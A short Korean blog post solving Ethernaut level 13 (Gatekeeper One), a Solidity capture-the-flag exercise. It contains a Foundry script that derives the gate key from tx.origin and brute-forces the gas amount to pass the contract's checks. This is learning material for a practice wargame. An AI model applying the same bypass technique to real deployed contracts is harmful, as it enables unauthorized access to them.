The Ethernaut - 13. Gatekeeper One

Gunter·2024년 10월 20일
0

The Ethernaut

목록 보기
14/26

Make it past the gatekeeper and register as an entrant to pass this level.

Things that might help:
Remember what you've learned from the Telephone and Token levels.
You can learn more about the special function gasleft(), in Solidity's documentation (see Units and Global Variables and External Function Calls).

 


공식 난이도 별 4개짜리라 일단 쫄렸음

 

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/gatekeeper_one.sol";

contract POC is Script {
    
    GatekeeperOne public target = GatekeeperOne(0x5E6dA31e57532504D11BD9F6B0D2564035DcEdb3);
    
    function run() public returns(uint256 check){
        bytes8 _gateKey = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
        for(uint i=0; i<=350; i++)
        {
            (bool success, ) = address(target).call{gas: i + (8191 * 3)}(abi.encodeWithSignature("enter(bytes8)", _gateKey));
            if (success) {
                check=i;
                break;
            }
        }
    }
}

for문은 신이야 ~

라고 하면 안되겠죠?
시험기간 끝나고 꼭 다른 풀이 더 찾아보기..

0개의 댓글